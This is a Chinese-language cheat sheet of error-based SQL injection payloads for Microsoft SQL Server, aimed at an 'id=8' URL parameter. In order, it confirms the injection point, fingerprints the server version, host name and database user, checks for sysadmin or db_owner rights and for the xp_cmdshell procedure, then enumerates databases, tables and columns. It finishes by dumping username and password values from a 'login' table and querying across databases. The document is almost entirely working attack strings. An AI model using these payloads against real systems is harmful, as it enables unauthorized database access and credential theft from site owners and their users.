报错查询注入语句
-
id=8’ //报错
-
id=8 and 1=1 / and 1=2
//1=1 页面返回正常,1=2 页面返回不正常,证明我们的语句代入进去执行了,其实这种判断可以有很多拓展 -
id=8 and exists(select * from sysobjects)
//确实目标是否真的为mssql数据库,页面返回正常则是 -
id=8and 1=CONVERT(int,(select @@VERSION))--
//获取当前mssql版本 -
id=8and 1=convert(int,(select @@servername))-- //获取目标机器的机器名
-
id=8and 1=CONVERT(int,(select suser_sname()))-- //获取当前的数据库用户名
-
id=8and 1=(select count(*) from master…sysobjects where xtype = ‘x’ and name = ‘xp_cmdshell’) –
看下目标的xp_cmdshell存储过程是否还在 -
id=8and 1=CONVERT(int,(SELECT is_srvrolemember(‘sysadmin’)))--
看下当前角色是否为数据库管理员 -
id=8and 1=convert(int,(select IS_MEMBER(‘db_owner’)))--
/再看下当前角色是否为db_ownwer -
id=8and 1=convert(int,(select is_srvrolemember(’public‘)))--
//再不行的话判断是否为public权限
先统计总共有多少库
id=8 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )+CHAR(58)+CHAR(58)))–
//如果如上语句报错,把里面的’+’换成%2b
id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )%2bCHAR(58)%2bCHAR(58)))–
第一步:获取库名
-
id=8 and 1=CONVERT(int,(select db_name()))--
/获取当前数据库名 -
id=8 and 1=CONVERT(int,(select db_name(1)))--
//第二个数据库名
第二步:获取表
-
id=8AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )%2bCHAR(58)%2bCHAR(58)))--
//事先统计下当前库中表的总个数:(如果报错,把%2b换成+) -
id=8and 1=convert(int,(select top 1 table_name from information_schema.tables ))--
//获取当前数据库中的所有表名,如下表示获取当前库的第一张表名 -
id=8and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘photoGalary’) ))--
//通过not in条件,把每次查出来的表名都加进去,这样就可以慢慢把所有的表都遍历出来,如下表示获取第二张表名 -
id=8and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘photoGalary’,‘menu’) ))--
//获取第三张表名
第三步:获取列名
-
id=8and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=‘login’ ))--
//接着,获取’login’表中的所有字段名,获取的方式同上,利用not in依次遍历出所有的字段名 -
id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=‘login’ and column_name not in(‘login_id’,‘username’,‘password’,‘name’) ))--
//最后,获取的所有字段名如下:(用了不包括【not in】)
第四步:获取列数据
-
id=8 and 1=convert(int,(select top 1 username from login ))--
//有了表名,字段名接下来的事情就很好办了,直接去查出对应字段下的数据即可获取username字段下的第一条数据 -
id=8 and 1=convert(int,(select top 1 password from login ))-
//获取password字段下的第一条数据
扩展
假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行
id=8 AND 1=CONVERT(INT,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC))--